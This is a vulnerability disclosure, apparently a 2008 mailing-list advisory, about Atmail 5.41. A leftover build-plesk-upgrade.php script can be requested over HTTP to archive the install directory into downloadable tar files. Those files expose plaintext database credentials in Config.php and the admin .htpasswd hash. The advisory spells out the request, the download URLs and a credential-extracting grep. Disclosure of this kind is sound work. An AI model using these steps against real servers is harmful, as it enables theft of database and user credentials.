('binary' encoding is not supported, stored as-is)
@Mail PHP Version 5.41 patch Release
http://atmail.com/demo/atmailphpdemo.tgz
The default install of Atmail 5.41 creates the following
file in the atmail/ directory: build-plesk-upgrade.php
If that file is called via http, such as: http://example.com/atmail/build-plesk-upgrade.php
it will execute on the local server as expected:
nobody 19495 11.3 0.0 22572 8908 ? S 17:25 0:00 /usr/bin/php /usr/local/apache/htdocs/atmail/build-plesk-upgrade.php
producing numerous warnings and errors:
building @Mail-Plesk Pro upgrade
Warning: mkdir() [function.mkdir]: Permission denied in /usr/local/apache/htdocs/atmail/build-plesk-upgrade.php on line 32
making . dir... making /usr/local/atmail-plesk-upgrade/.
and when complete the following files will exist:
/usr/local/apache/htdocs/atmail:
-rw-r--r-- 1 nobody nobody 101754880 Jul 30 17:26 files.tar
-rw-r--r-- 1 nobody nobody 27162656 Jul 30 17:26 plesk-atmail-upgrade.tgz
Those files are the contents of the atmail/ directory. The plesk-atmail-upgrade.tgz
only contains the files.tar file.
Either file could then be downloaded:
http://example.com/atmail/files.tar
http://example.com/atmail/plesk-atmail-upgrade.tgz
or copied to another directory on the server for browsing through. The information
contained in those files includes the Atmail Config.php file which stores the Atmail
database username, password, and database server hostname in plain text:
$ egrep 'sql_(user|host|pass)' libs/Atmail/Config.php
'sql_host' => 'localhost',
'sql_pass' => '43s2H4N55X',
'sql_user' => 'atmail',
This information could then be used to access the Atmail database to obtain client credentials,
such as email addresses, usernames, passwords, session IDs, and more.
Also in the files.tar file is the webadmin/.htpasswd file, which contains the administrator
user's username and password hash.
Received on Jul 31 2008
Intro
